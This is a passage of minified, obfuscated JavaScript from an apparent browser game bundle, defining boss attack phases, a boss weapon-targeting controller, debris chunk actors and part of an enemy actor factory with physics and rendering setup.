0xbb8, 'wantedHorizontalDistanceToPlayer': 0x0, 'wantedVerticalDistanceToPlayer': 0x32, 'horizontalWantedDistanceRange': 0x14, 'verticalWantedDistanceRange': 0x32, 'verticalWantedDistanceOffset': -0x12c }, 'attackAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x0, 'wantedVerticalDistanceToPlayer': 0x32, 'horizontalWantedDistanceRange': 0x270f, 'verticalWantedDistanceRange': 0x32, 'verticalWantedDistanceOffset': -0x12c }, 'prepareLookDirection': 0x5a, 'attackLookDirection': 0x5a, 'attackInactiveMaxDurationMS': 0x5dc, 'prepareMaxDurationMS': 0x3e8, 'prepareMinDurationMS': 0xc8, 'attackConditionFunction': _0x26497e => { const _0x4e4ed4 = 'PHASE_1' === _0x26497e['get']('bossPhase'), _0x2d0668 = _0x26497e['get']('distanceToTargetWithGroundCheck'); return _0x4e4ed4 && _0x2d0668 < 0x4b0; } }, _0x4a9072['BOSS_WEAPON_DOWNSTRIKES_PHASE2'] = { 'name': 'boss/melee/downstrikes_phase2', 'prepareState': 'PREPARE_MELEE_DOWN', 'attackState': 'ATTACK_MELEE_DOWN', 'prepareAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x0, 'wantedVerticalDistanceToPlayer': 0x32, 'horizontalWantedDistanceRange': 0x270f, 'verticalWantedDistanceRange': 0x270f, 'verticalWantedDistanceOffset': -0x12c }, 'attackAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x0, 'horizontalWantedDistanceRange': 0x270f, 'wantedVerticalDistanceToPlayer': 0x32, 'verticalWantedDistanceRange': 0x32, 'verticalWantedDistanceOffset': -0x12c }, 'prepareLookDirection': 0x5a, 'attackLookDirection': 0x5a, 'attackInactiveMaxDurationMS': 0x5dc, 'prepareMaxDurationMS': 0x5dc, 'prepareMinDurationMS': 0x5dc, 'attackConditionFunction': _0x1f1af0 => 'PHASE_2' === _0x1f1af0['get']('bossPhase') }, _0x4a9072['BOSS_WEAPON_MEGABEAM_PHASE1'] = { 'name': 'boss/beam/megabeam', 'prepareState': 'PREPARE_MEGABEAM', 'attackState': 'ATTACK_MEGABEAM', 'prepareAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x32, 'horizontalWantedDistanceRange': 0x32, 'wantedVerticalDistanceToPlayer': 0x64, 'verticalWantedDistanceRange': 0x32, 'verticalWantedDistanceOffset': -0x190 }, 'attackAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x32, 'horizontalWantedDistanceRange': 0x270f, 'verticalWantedDistanceRange': 0x270f, 'wantedVerticalDistanceToPlayer': 0x64, 'verticalWantedDistanceOffset': -0x320 }, 'prepareLookDirection': 0xb4, 'attackLookDirection': 0xb4, 'prepareMaxDurationMS': 0x5dc, 'prepareMinDurationMS': 0x1f4, 'attackConditionFunction': _0x55f48f => 'PHASE_1' === _0x55f48f['get']('bossPhase') }, _0x4a9072['BOSS_WEAPON_MEGABEAM_PHASE2'] = { 'name': 'boss/beam/megabeam2', 'prepareState': 'PREPARE_MEGABEAM', 'attackState': 'ATTACK_MEGABEAM', 'prepareAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x32, 'horizontalWantedDistanceRange': 0x32, 'wantedVerticalDistanceToPlayer': 0x64, 'verticalWantedDistanceRange': 0x32, 'verticalWantedDistanceOffset': -0x190 }, 'attackAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x32, 'horizontalWantedDistanceRange': 0x270f, 'verticalWantedDistanceRange': 0x270f, 'wantedVerticalDistanceToPlayer': 0x64, 'verticalWantedDistanceOffset': -0x320 }, 'prepareLookDirection': 0xb4, 'attackLookDirection': 0xb4, 'prepareMaxDurationMS': 0x2bc, 'prepareMinDurationMS': 0x2bc, 'attackConditionFunction': _0x4d726f => 'PHASE_2' === _0x4d726f['get']('bossPhase') }, _0x4a9072['BOSS_WEAPON_BEAMSPAM'] = { 'name': 'boss/beamspam/strike', 'prepareState': 'PREPARE_MEGABEAMSPAM', 'attackState': 'ATTACK_MEGABEAMSPAM', 'prepareAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x32, 'horizontalWantedDistanceRange': 0x32, 'wantedVerticalDistanceToPlayer': 0x32, 'verticalWantedDistanceRange': 0x32, 'verticalWantedDistanceOffset': 0x32 }, 'attackAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x32, 'horizontalWantedDistanceRange': 0x32, 'wantedVerticalDistanceToPlayer': 0x32, 'verticalWantedDistanceRange': 0x32, 'verticalWantedDistanceOffset': 0x32 }, 'prepareLookDirection': 0xb4, 'attackLookDirection': 0xb4, 'prepareMaxDurationMS': 0xbb8, 'prepareMinDurationMS': 0xbb8, 'attackConditionFunction': _0x523f20 => 'PHASE_2' === _0x523f20['get']('bossPhase') }; }, 0xcfb: (_0x22766f, _0x270b9d, _0x128ec2) => { 'use strict'; Object['defineProperty'](_0x270b9d, '__esModule', { 'value': !0x0 }), _0x270b9d['BossWeaponTriggerController'] = void 0x0; const _0x2dfb91 = _0x128ec2(0x1520), _0x201889 = _0x128ec2(0x6a9), _0x1b83ef = _0x128ec2(0x1b39); class _0xb9629b extends _0x2dfb91['ComponentController']{ constructor(_0x5a33b7) { super(_0x5a33b7); } ['init']() { this['store']['subscribe']('bossCurrentAttack', ({ newValue: _0x87554f }) => { _0x87554f || this['store']['update']('aiCurrentFiringWeaponName', null); }), this['store']['subscribe']('bossState', ({ oldValue: _0x4ce4a9, newValue: _0xf27f4f }) => { _0xf27f4f !== _0x4ce4a9 && (this['messageBus']['publish']('cancelAttack'), this['store']['update']('aiCurrentFiringWeaponName', null)); }); } ['update'](_0x319fad) { const _0x13c075 = this['getClosestTarget'](); if (!_0x13c075) return; _0x13c075['getFromStore']('hp') > 0x0 || !this['store']['get']('aiCurrentFiringWeaponName') ? this['updateWeapons']() : this['store']['update']('aiCurrentFiringWeaponName', null); } ['getClosestTarget']() { return this['store']['get']('targetActorHandles')['filter'](_0x4de47a => _0x4de47a['getFromStore']('renderPosition'))[0x0]; } ['updateWeapons']() { const _0x29a86c = this['getClosestTarget'](); if (!_0x29a86c) return; const _0x2bbbef = this['store']['get']('aiCurrentFiringWeaponName'), _0x1fae7f = 'OPERATING' === this['store']['get']('weaponActivityState'); _0x201889['BOSS_STATE_ATTACKS']['includes'](this['store']['get']('bossState')) && (_0x2bbbef ? _0x2bbbef && _0x1fae7f && this['updateActiveWeapon'](_0x2bbbef, _0x29a86c) : this['maybeSelectNewWeapon'](_0x29a86c)); } ['maybeSelectNewWeapon'](_0x23ad77) { const _0x3c8704 = this['store']['get']('bossCurrentAttack'), _0x30b5ce = _0x3c8704['attackLookDirection'] ? (0x0, _0x1b83ef['degToRad'])(_0x3c8704['attackLookDirection']) : null; this['store']['update']('lookDirection', _0x30b5ce ?? this['getLookDirectionToTarget'](_0x23ad77)); const _0x1d9bed = this['getClosestEligibleWeapon'](_0x23ad77); _0x1d9bed && this['store']['update']('aiCurrentFiringWeaponName', _0x1d9bed); } ['getLookDirectionToTarget'](_0x2b481f) { const _0x49dd93 = _0x2b481f['getFromStore']('renderPosition'), _0x3dcbf2 = this['store']['get']('renderPosition'); return (0x0, _0x1b83ef['angleToTarget'])(_0x3dcbf2, _0x49dd93); } ['targetInGeneralRange'](_0x28b8f0) { const _0x480d20 = this['store']['get']('distanceToTargetWithGroundCheck'), _0x6ace45 = _0x480d20 > 0x0, _0x5a2a8a = _0x480d20 > _0x28b8f0['aiWeaponSelectionConfig']['minAttackRange'], _0x40d769 = _0x480d20 < _0x28b8f0['aiWeaponSelectionConfig']['maxAttackRange']; return _0x6ace45 && _0x5a2a8a && _0x40d769; } ['getClosestEligibleWeapon'](_0x160234) { const _0x45478f = {}, _0x385e94 = this['store']['get']('bossCurrentAttack')['name']; (Array['isArray'](_0x385e94) ? _0x385e94 : [_0x385e94])['forEach'](_0x5a8f98 => { const _0x5e60ad = this['getWeaponConfig'](_0x5a8f98), _0x1140fc = this['store']['get']('distanceToTargetWithGroundCheck'), { lookDirection: _0x2e09cf, targetInFiringCone: _0x451f47 } = this['getBestAngleToTarget'](_0x160234, _0x5e60ad); this['targetInGeneralRange'](_0x5e60ad) && _0x451f47 && (_0x45478f[_0x5a8f98] = _0x1140fc); }); const _0x610c7e = Object['entries'](_0x45478f)['find'](([_0x56ae96, _0xd7fedc]) => _0xd7fedc === Math['min'](...Object['values'](_0x45478f))); return _0x610c7e ? _0x610c7e[0x0] : null; } ['updateActiveWeapon'](_0x4021af, _0x46243e) { const _0x3ed8d0 = this['getWeaponConfig'](_0x4021af), _0x4e042f = this['store']['get']('currentPhaseIndex'), _0xdefbb2 = _0x3ed8d0['attackConfigs'][_0x4e042f]['preventAiChangeDirection'], { lookDirection: _0x57eec3, targetInFiringCone: _0x396911 } = this['getBestAngleToTarget'](_0x46243e, _0x3ed8d0), _0x47c80d = this['store']['get']('bossCurrentAttack'), _0x4aa581 = this['store']['get']('bossState')['includes']('ATTACK'), _0x1f90f3 = _0x47c80d['attackLookDirection']; !_0xdefbb2 && _0x396911 && _0x4aa581 && !_0x1f90f3 && this['store']['update']('lookDirection', _0x57eec3); } ['getWeaponConfig'](_0x2ec3e9) { return this['gameContext']['getWeaponConfig'](_0x2ec3e9); } ['getBestAngleToTarget'](_0xc35c13, _0x4c4a1e) { const _0x2c6f19 = _0x4c4a1e['aiWeaponSelectionConfig'], _0x5011ab = _0xc35c13['getFromStore']('renderPosition'), _0x530708 = this['store']['get']('renderPosition'); for (const _0x22f250 of _0x2c6f19['attackCones']) { const { angleToTarget: _0x2b982b, targetInFiringCone: _0x15038c } = (0x0, _0x1b83ef['getBestAngleToTarget'])({ 'originPoint': _0x530708, 'angle': _0x22f250['angle'], 'range': _0x22f250['range'] }, this['store']['get']('lookDirection'), _0x5011ab); if (_0x15038c) return { 'lookDirection': _0x2b982b, 'targetInFiringCone': _0x15038c }; } return { 'lookDirection': 0x0, 'targetInFiringCone': !0x1 }; } } _0x270b9d['BossWeaponTriggerController'] = _0xb9629b; }, 0x1e04: function (_0x40e404, _0x1d6fc7, _0x4b6fcd) { 'use strict'; var _0x2c5f4a = this && this['__importDefault'] || function (_0x2117ca) { return _0x2117ca && _0x2117ca['__esModule'] ? _0x2117ca : { 'default': _0x2117ca }; }; Object['defineProperty'](_0x1d6fc7, '__esModule', { 'value': !0x0 }), _0x1d6fc7['createChunkActor'] = void 0x0; const _0x47badf = _0x2c5f4a(_0x4b6fcd(0x9a8)), _0x2b2982 = _0x4b6fcd(0x25fa), _0x2d3393 = _0x4b6fcd(0x221b), _0x2ddca1 = _0x4b6fcd(0x22a2), _0x3a79b4 = _0x4b6fcd(0x942), _0x3c8a03 = _0x4b6fcd(0x181c), _0x42c524 = _0x4b6fcd(0xb35), _0x18200d = _0x4b6fcd(0x2228), _0x343ba5 = _0x4b6fcd(0x1832), _0x19dc5b = _0x4b6fcd(0xd2e), _0xf6896d = _0x4b6fcd(0x1932), _0x240482 = _0x4b6fcd(0x13e1), _0x17d56f = _0x4b6fcd(0x827), _0x500390 = { ..._0x19dc5b['actorModel'], ..._0xf6896d['sensorModel'], ..._0x240482['movementModel'] }; _0x1d6fc7['createChunkActor'] = function (_0x34f1f2) { const _0x213a3e = _0x34f1f2['noFadeout'] ? function (_0x50b39b) { return [new _0x18200d['AnimatedSpriteRenderComponent']({ 'animationName': _0x50b39b['animationName'][0x0] })]; }(_0x34f1f2) : function (_0x42c509) { return [new _0x18200d['AnimatedSpriteRenderComponent']({ 'animationName': _0x42c509['animationName'][0x0], 'controllers': [new _0x17d56f['ChunkAnimationController']({ 'generateParticles': !0x1 })] }), new _0x18200d['AnimatedSpriteRenderComponent']({ 'animationName': [_0x42c509['animationName'][0x1], _0x42c509['animationName'][0x2]], 'controllers': [new _0x17d56f['ChunkAnimationController']({ 'generateParticles': !0x0 })], 'autoPlay': !0x0 })]; }(_0x34f1f2); return new _0x2b2982['Actor']({ ..._0x34f1f2, 'tags': [_0x343ba5['EActorTag']['OTHER']], 'name': 'Chunk', 'model': _0x500390, 'components': [..._0x213a3e, new _0x3a79b4['RigidBodyComponent']({ 'world': _0x34f1f2['world'], 'bodyDesc': _0x47badf['default']['RigidBodyDesc']['dynamic'](), 'collidersEmitCollisionEvents': !0x0, 'collidersDesc': { 'body': _0x47badf['default']['ColliderDesc']['ball'](0.4)['setCollisionGroups'](_0x42c524['PhysicsConfig']['COLLISION_GROUPS']['CHUNK'] << 0x10 | _0x42c524['PhysicsConfig']['COLLISION_GROUPS']['GROUND'])['setRotation'](_0x34f1f2['gameContext']['rngProvider']['getRandomFloat'](_0x2d3393['EProviderContext']['MAIN'], 0x0, 0x2 * Math['PI']))['setMass'](0xa) }, 'position': _0x34f1f2['initialPosition'], 'useRotation': !0x0, 'controllers': [new _0x3c8a03['ChunkInitController']()] }), new _0x2ddca1['TimeoutComponent']({ 'world': _0x34f1f2['world'], 'delayMS': 0x7d0 })] }); }; }, 0x827: (_0x54989f, _0x17d908, _0x36ffa5) => { 'use strict'; Object['defineProperty'](_0x17d908, '__esModule', { 'value': !0x0 }), _0x17d908['ChunkAnimationController'] = void 0x0; const _0x360bea = _0x36ffa5(0x1520), _0x33de56 = _0x36ffa5(0xed4), _0x3a64ba = _0x36ffa5(0x221b); class _0x39e0cd extends _0x360bea['ComponentController']{ constructor(_0x552977) { super(_0x552977); } ['init']() { this['gameContext']['timeProvider']['delayAction'](() => { const _0x206574 = { 'targets': this['component']['get'](), 'scaleX': { 'from': 0x1, 'to': 0x2 }, 'scaleY': { 'from': 0x1, 'to': 0x0 }, 'duration': 0x5dc, 'onComplete': () => { } }; this['config']['generateParticles'] && (_0x206574['onUpdate'] = (_0x4184cb, _0x445113, _0x558e7a) => { 'scaleX' === _0x558e7a && (this['gameContext']['rngProvider']['getRandomFloat'](_0x3a64ba['EProviderContext']['FRONTEND_ONLY'], 0x0, 0x1) > 0.15 || this['gameMessageBus']['publish']('requestParticles', { 'emitterName': _0x33de56['EEmitterName']['CHUNK'], 'particleConfig': { 'frame': 'blue_spark', 'count': { 'min': 0x1, 'max': 0x1 }, 'velocityX': { 'min': -0x64, 'max': 0x64 }, 'velocityY': { 'min': -0x64, 'max': 0x64 }, 'positionOffsetX': { 'min': -0x14, 'max': 0x14 }, 'positionOffsetY': { 'min': -0xa, 'max': 0xa }, 'tint': '0xffffff', 'ownVelocityRetainMultiplier': 0xa, 'accelerationY': { 'min': -0x64, 'max': -0x12c } }, ...this['store']['get']('renderPosition') })); }), this['scene']['tweens']['add'](_0x206574); }, 0x1f4); } } _0x17d908['ChunkAnimationController'] = _0x39e0cd; }, 0x181c: (_0x502981, _0x1b843f, _0x27d396) => { 'use strict'; Object['defineProperty'](_0x1b843f, '__esModule', { 'value': !0x0 }), _0x1b843f['ChunkInitController'] = void 0x0; const _0x21daae = _0x27d396(0x18e5), _0x341da0 = _0x27d396(0x1520), _0x4c0c08 = _0x27d396(0x221b), _0x88b65b = 0xc8; class _0xcc3cc2 extends _0x341da0['ComponentController']{ ['init']() { this['component']['body']['applyImpulse'](new _0x21daae['Vector'](this['gameContext']['rngProvider']['getRandomFloat'](_0x4c0c08['EProviderContext']['MAIN'], -0xc8, _0x88b65b), this['gameContext']['rngProvider']['getRandomFloat'](_0x4c0c08['EProviderContext']['MAIN'], -0xc8, _0x88b65b)), !0x0), this['component']['body']['setAngvel'](this['gameContext']['rngProvider']['getRandomFloat'](_0x4c0c08['EProviderContext']['MAIN'], -0x2, 0x2), !0x1); } } _0x1b843f['ChunkInitController'] = _0xcc3cc2; }, 0x1186: function (_0x3208d4, _0x3ea7fc, _0x5473b) { 'use strict'; var _0x2f6759 = this && this['__importDefault'] || function (_0x1b0ae5) { return _0x1b0ae5 && _0x1b0ae5['__esModule'] ? _0x1b0ae5 : { 'default': _0x1b0ae5 }; }; Object['defineProperty'](_0x3ea7fc, '__esModule', { 'value': !0x0 }), _0x3ea7fc['createEnemyActor'] = void 0x0; const _0x2b08f9 = _0x2f6759(_0x5473b(0x9a8)), _0x35a0e5 = _0x5473b(0x25fa), _0x51aa97 = _0x5473b(0x276), _0x425364 = _0x5473b(0x942), _0x387ad5 = _0x5473b(0xa0), _0x49451b = _0x5473b(0xb35), _0xd0d52 = _0x5473b(0x2228), _0x343be4 = _0x5473b(0x1832), _0x3dc3cb = _0x5473b(0x2dd), _0x15e57a = _0x5473b(0x18b9), _0x5f1c65 = _0x5473b(0xa1), _0x1b5ca0 = _0x5473b(0x81), _0x18b2b0 = _0x5473b(0x56b), _0x38a105 = _0x5473b(0x26d1), _0x123c2f = _0x5473b(0x98f), _0x94a556 = _0x5473b(0x71f), _0x2a3220 = _0x5473b(0x2665), _0x3eea1d = _0x5473b(0xc3a), _0x2b5ceb = _0x5473b(0x261a), _0x1fc62b = _0x5473b(0x39c), _0x516126 = _0x5473b(0xcaa), _0x51aea6 = _0x5473b(0xd2e), _0x22a969 = _0x5473b(0x229c), _0x42b159 = _0x5473b(0x1932), _0x146317 = _0x5473b(0x13e1), _0x11fc63 = _0x5473b(0x1a57), _0x32ba2e = _0x5473b(0x1ae2), _0x38b617 = _0x5473b(0x1797), _0x195885 = _0x5473b(0x41), _0xf01288 = _0x5473b(0x1371), _0x23bb4f = _0x5473b(0x83), _0x427666 = _0x5473b(0x1101), _0x2de1e8 = _0x5473b(0x14e9), _0x176499 = _0x5473b(0x6), _0x5a9395 = _0x5473b(0x18c1), _0x2c0f4f = _0x5473b(0xe15), _0x1d7cdb = _0x5473b(0x371), _0x1c8199 = _0x5473b(0x1b38), _0x39f7e1 = _0x5473b(0x148d), _0x361ab2 = _0x5473b(0x1840), _0x2b7daf = _0x5473b(0x2287), _0x1e225b = _0x5473b(0xf54), _0x842249 = _0x5473b(0x151d), _0x50219c = _0x5473b(0x19e9), _0x55dec = _0x5473b(0x2347), _0x5806a1 = _0x5473b(0x2515), _0x198664 = _0x5473b(0x161e), _0x2d1306 = _0x5473b(0x22c6), _0x1e244a = _0x5473b(0xda4), _0x1933f3 = _0x5473b(0xf18), _0xe6d62f = _0x5473b(0x22a2), _0x701b2e = _0x5473b(0x16c4), _0x2d64e8 = _0x5473b(0x211), _0x56cdde = _0x5473b(0x487), _0x15fd20 = _0x5473b(0x1cb8), _0x57f3e0 = _0x5473b(0x635), _0x562b9b = _0x5473b(0x190), _0x398d72 = _0x5473b(0x2420), _0x181e95 = _0x5473b(0x655), _0x132194 = { ..._0x51aea6['actorModel'], ..._0x22a969['damageModel'], ..._0x42b159['sensorModel'], ..._0x146317['movementModel'], ..._0x11fc63['weaponModel'], ..._0x32ba2e['aiModel'], ..._0x5a9395['lightModel'], ..._0x1c8199['actionControlModel'], ..._0x2d1306['actorUiModel'] }, _0x12a0c3 = 0x3399, _0x37ec63 = 0.8; function _0x4bba9b(_0x51a5aa) { switch (_0x51a5aa['enemyConfig']['movementConfig']['name']) { case 'flyer': return new _0x2a3220['AiFlyerMovementController']({ ..._0x51a5aa['enemyConfig']['movementConfig']['config'] }); case 'roller': case 'walker': return new _0x3eea1d['AiWalkerMovementController']({ ..._0x51a5aa['enemyConfig']['movementConfig']['config'] }); } } function _0x4fdb28(_0x132bca) { const _0xb3d93e = 0x0 === _0x132bca['enemyConfig']['pointValue'] && 0x0 === _0x132bca['enemyConfig']['dropOnHit']?.['length'] && 0x0 === _0x132bca['enemyConfig']['dropOnDestroy']?.['length']; switch (_0x132bca['enemyConfig']['renderConfig']['name']) { case 'animatedSprite': { const _0x54c4da = [], _0x104316 = [_0x5db741(_0x132bca, !0x1)]['filter'](Boolean); if (_0x54c4da['push'](new _0xd0d52['AnimatedSpriteRenderComponent']({ 'animationName': _0x132bca['enemyConfig']['renderConfig']['animationName'], 'controllers': [..._0x104316, new _0x1e225b['AnimatedSpriteEventController']({ 'explosionConfigs': _0x132bca['enemyConfig']['renderConfig']['explosionOnAnimationEvents'] || {} }), new _0x123c2f['DamageFlashController']({ 'disabledOnBackend': !0x0 })], 'applyActionOnSprite': _0x261e11 => { _0xb3d93e && _0x261e11['setAlpha'](_0x37ec63); }, 'affectedByLight': !0x0 })), _0xb3d93e) { const _0x340c55 = [_0x5db741(_0x132bca, !0x1)]['filter'](Boolean); _0x54c4da['push'](new _0xd0d52['AnimatedSpriteRenderComponent']({ 'animationName': _0x132bca['enemyConfig']['renderConfig']['animationName'], 'controllers': [..._0x340c55, new _0x1e225b['AnimatedSpriteEventController']({ 'explosionConfigs': _0x132bca['enemyConfig']['renderConfig']['explosionOnAnimationEvents'] || {} })], 'affectedByLight': !0x1, 'applyActionOnSprite': _0x38b166 => { _0x38b166['setTint'](_0x12a0c3), _0x38b166['setBlendMode'](Phaser['BlendModes']['ADD']); } })); } const _0x33b5ac = _0x132bca['enemyConfig']['renderConfig']['animationLightName']; if (_0x33b5ac) { const _0x4071d4 = [_0x5db741(_0x132bca, !0x0)]['filter'](Boolean); _0x54c4da['push'](new _0xd0d52['AnimatedSpriteRenderComponent']({ 'animationName': _0x33b5ac, 'controllers': [..._0x4071d4, new _0x123c2f['DamageFlashController']({ 'disabledOnBackend': !0x0 })], 'affectedByLight': !0x1, 'applyActionOnSprite': _0x4d0c41 => { _0xb3d93e && _0x4d0c41['setAlpha'](_0x37ec63); } })); } return _0x54c4da; } case 'spine': { const _0x2a8eff = [_0x4a9f1f(_0x132bca)]['filter'](Boolean); return [new _0x94a556['SpineRenderComponent']({ 'spineAssetName': _0x132bca['enemyConfig']['renderConfig']['spineAssetName'], 'animationName': 'Idle', 'loop': !0x0, 'scale': _0x132bca['enemyConfig']['renderConfig']['scale'], 'tint': parseInt(_0x132bca['enemyConfig']['renderConfig']['tint'] || '0xffffff', 0x10), 'offsetPosition': _0x132bca['enemyConfig']['renderConfig']['offsetPosition'], 'controllers': [..._0x2a8eff, new _0x123c2f['DamageFlashController']({ 'disabledOnBackend': !0x0 })] })]; } } } function _0x5db741(_0x24c899, _0x2abba0) { const _0x5d75ca = _0x24c899['enemyConfig']['renderConfig'], _0x56dbb2 = _0x2abba0 ? _0x5d75ca['animationLightName'] || '' : _0x5d75ca['animationName']; switch (_0x24c899['enemyConfig']['movementConfig']['name']) { case 'flyer': return new _0x361ab2['AiFlyerSpritesheetAnimationController']({ 'disabledOnBackend': !0x0, 'animationName': _0x56dbb2 }); case 'walker': return new _0x39f7e1['AiWalkerSpritesheetAnimationController']({ 'disabledOnBackend': !0x0, 'animationName': _0x56dbb2 }); case 'roller': return new _0x2d64e8['AiRollerSpritesheetAnimationController']({ 'disabledOnBackend': !0x0, 'animationName': _0x56dbb2 }); } } function _0x4a9f1f(_0x15b493) { switch (_0x15b493['enemyConfig']['movementConfig']['name']) { case 'flyer': return new _0x2b5ceb['AiFlyerAnimationController']({ 'disabledOnBackend': !0x0 }); case 'walker': return new _0x1fc62b['AiWalkerAnimationController']({ 'disabledOnBackend': !0x0 }); } } function _0x5d01d3(_0x29725d) { const _0xb4e02d = {}; return _0x29725d['forEach'](_0x4cf03e => { _0xb4e02d[_0x4cf03e] = { 'customTriggerFunction': _0x1314a6 => _0x1314a6['get']('aiCurrentFiringWeaponName') === _0x4cf03e }; }), _0xb4e02d; } function _0x2132b5(_0x58ba05) { const _0x257f81 = [_0x4bba9b(_0x58ba05)]['filter'](Boolean), _0x50e1f9 = [new _0x1b5ca0['WeaponRecoilController'](), new _0x23bb4f['AirFrictionController']({ 'airFriction': 0x1, 'maxVelocity': 0x37 }), new _0x3dc3cb['RigidBodySensorController']({ 'calculateDistanceToGround': 'flyer' === _0x58ba05['enemyConfig']['movementConfig']['name'], 'calculateCanSeeTarget': !0x0, 'groundTags': [_0x343be4['EActorTag']['GROUND']] }), ..._0x257f81, new _0x2c0f4f['AiSensorAdjustmentController']({ 'movementConfig': _0x58ba05['enemyConfig']['movementConfig'] })]; !_0x58ba05['enemyConfig']['disallowDashThrough'] && _0x58ba05['enemyConfig']['collidesWithPlayer'] && _0x50e1f9['push'](new _0x38a105['RigidBodyDashCollisionResponseController']()); const _0x10a026 = _0x49451b['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] << 0x10 | _0x49451b['PhysicsConfig']['COLLISION_GROUPS']['GROUND']; let _0x12c210 = _0x49451b['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] << 0x10, _0x28ee54 = _0x10a026; _0x58ba05['enemyConfig']['unHittable'] || (_0x28ee54 |= _0x49451b['PhysicsConfig']['COLLISION_GROUPS']['PLAYER_PROJECTILE'], _0x28ee54 |= _0x49451b['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_PROJECTILE']), _0x58ba05['enemyConfig']['collidesWithPlayer'] && (_0x12c210 |= _0x49451b['PhysicsConfig']['COLLISION_GROUPS']['PLAYER']); const _0x16dda5 = 'immobile' === _0x58ba05['enemyConfig']['movementConfig']['name'] || _0x58ba05['immobile'], _0x18889f = new _0x425364['RigidBodyComponent']({ 'world': _0x58ba05['world'], 'bodyDesc': _0x16dda5 ? _0x2b08f9['default']['RigidBodyDesc']['fixed']() : _0x2b08f9['default']['RigidBodyDesc']['dynamic']()['lockRotations'](), 'linearDamping': _0x58ba05['enemyConfig']['linearDamping'] ?? 0x0, 'collidersDesc': { 'body': _0x2b08f9['default']['ColliderDesc']['roundCuboid'](_0x58ba05['enemyConfig']['colliderDimensions']['hx'], _0x58ba05['enemyConfig']['colliderDimensions']['hy'], _0x58ba05['enemyConfig']['colliderDimensions']['borderRadius'])['setFriction'](_0x58ba05['enemyConfig']['friction'] ?? 0x0)['setRestitution'](_0x58ba05['enemyConfig']['restitution'] ?? 0x0)['setCollisionGroups'](_0x28ee54)['setSolverGroups'](_0x49451b['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] << 0x10 | _0x49451b['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x49451b['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'])['setMass'](_0x58ba05['enemyConfig']['mass']) }, 'sensorsDesc': { 'dashDetectionSensor': _0x2b08f9['default']['ColliderDesc']['roundCuboid'](_0x58ba05['enemyConfig']['colliderDimensions']['hx'], _0x58ba05['enemyConfig']['colliderDimensions']['hy'], _0x58ba05['enemyConfig']['colliderDimensions']['borderRadius'])['setCollisionGroups'](_0x12c210), [_0x42b159['ESensorName']['GROUND_LEFT']]: _0x2b08f9['default']['ColliderDesc']['cuboid'](0x0, 0.5)['setCollisionGroups'](_0x10a026), [_0x42b159['ESensorName']['GROUND_RIGHT']]: _0x2b08f9['default']['ColliderDesc']['cuboid'](0x0, 0.5)['setCollisionGroups'](_0x10a026), [_0x42b159['ESensorName']['GROUND_BOTTOM_LEFT']]: _0x2b08f9['default']['ColliderDesc']['cuboid'](_0x58ba05['enemyConfig']['colliderDimensions']['hx'] + _0x58ba05['enemyConfig']['colliderDimensions']['borderRadius'], 1.3)['setTranslation'](0.6 * (0x2 * -_0x58ba05['enemyConfig']['colliderDimensions']['hx'] - 0x2 * _0x58ba05['enemyConfig']['colliderDimensions']['borderRadius']), 0x1 * (_0x58ba05['enemyConfig']['colliderDimensions']['hy'] + _0x58ba05['enemyConfig']['colliderDimensions']['borderRadius']))['setCollisionGroups'](_0x10a026), [_0x42b159['ESensorName']['GROUND_BOTTOM_RIGHT']]: _0x2b08f9['default']['ColliderDesc']['cuboid'](_0x58ba05['enemyConfig']['colliderDimensions']['hx'] + _0x58ba05['enemyConfig']['colliderDimensions']['borderRadius'], 1.3)['setTranslation'](0.6 * (0x2 * _0x58ba05['enemyConfig']['colliderDimensions']['hx'] + 0x2 * _0x58ba05['enemyConfig']['colliderDimensions']['borderRadius']), 0x1 * (_0x58ba05['enemyConfig']['colliderDimensions']['hy'] + _0x58ba05['enemyConfig']['colliderDimensions']['borderRadius']))['setCollisionGroups'](_0x10a026), [_0x42b159['ESensorName']['GROUND_BOTTOM']]: _0x2b08f9['default']['ColliderDesc']['cuboid'](0.99 * (_0x58ba05['enemyConfig']['colliderDimensions']['hx'] + _0x58ba05['enemyConfig']['colliderDimensions']['borderRadius']), 0.25)['setTranslation'](0x0, 0x1 * (_0x58ba05['enemyConfig']['colliderDimensions']['hy'] + _0x58ba05['enemyConfig']['colliderDimensions']['borderRadius']))['setCollisionGroups'](_0x10a026) }, 'position': _0x58ba05['initialPosition'], 'controllers': _0x50e1f9 }), _0x282864 = _0x18889f['get'](); return _0x58ba05['initialVelocity'] && _0x282864['setLinvel'](_0x58ba05['initialVelocity'], !0x1), _0x18889f; } function _0x3c6de7(_0x1c326a) { const _0x488ec7 = []; return _0x1c326a['disableUI'] || _0x488ec7['push'](_0x1c326a['enemyConfig']['hp'] > 0x14 ? function (_0x5eae62) { const _0x354884 = _0x5eae62['startingHp'] ?? _0x5eae62['enemyConfig']['hp'], _0x42c7e0 = 0xa * (_0x5eae62['enemyConfig']['colliderDimensions']['hx'] + 0x2 * _0x5eae62['enemyConfig']['colliderDimensions']['borderRadius']), _0x530e2e = _0x5eae62['enemyConfig']['colliderDimensions']['hy'] + _0x5eae62['enemyConfig']['colliderDimensions']['borderRadius'], _0x433300 = 0.15 * _0x42c7e0 / _0x354884; return new 